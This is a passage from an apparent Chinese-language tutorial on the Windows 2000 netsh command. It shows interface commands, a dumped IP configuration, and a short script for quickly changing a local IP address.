務器或重新配置現有的服務器。如果要對組件的配置作很大的更改,推薦您使用 dump 命令開始配置會話,以防在進行更改前需要還原配置。
Interface 命令
下表列出了可在 Windows 2000 命令提示符下鍵入的 netsh 命令,這些命令用於管理運行 Windows 2000 Server 及"路由和遠程訪問"服務的
計算機上的接口設置。如果對某個特殊功能有多個命令,則在每個命令之間用斜線 (/) 分隔。
當在命令提示符下鍵入命令時,請在每個命令前加上 netsh。要獲得每個命令的精確語法,可在命令之後鍵入 ?。選項例如,要獲得 netsh 
interface 命令的命令行"幫助",請在命令提示符下鍵入 netsh interface?。
命令 說明 
interface set/show interface 啓用、禁用、連接、斷開連接以及顯示請求撥號接口的配置。 
interface set/show credentials 在請求撥號接口上配置或顯示用戶名、密碼和域名。 
言歸正傳,現在來看看WIN2000下的網絡設置的配置。 D:\>netsh
netsh>interface
interface>dump
#========================
# 接口配置
#========================
pushd interface
reset all
popd
# 接口配置結束
# ----------------------------------
# 接口 IP 配置
# ----------------------------------
pushd interface ip
# "本地連接 2" 的接口 IP 配置
set address name = "本地連接 2" source = dhcp
set dns name = "本地連接 2" source = dhcp
set wins name = "本地連接 2" source = dhcp
# "本地連接" 的接口 IP 配置
set address name = "本地連接" source = static addr = 192.168.1.10 mask = 255.255.255.0
set address name = "本地連接" gateway = 192.168.0.1 gwmetric = 1
set dns name = "本地連接" source = static addr = 192.168.0.1
set wins name = "本地連接" source = static addr = none
popd
# 接口 IP 配置結束
如果,你想快速修改一個本地IP地址。
你可以先用文本寫入以下的內容:
interface ip
set address 本地連接 static 192.168.5.10 255.255.255.0 192.168.0.1 1
^^^ ^^^ ^^^ ^^^ ^^
接口名稱 IP地址 子網掩碼 網關 接口躍點數
如上保存爲 local.sh
D:\>netsh exec local.sh
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章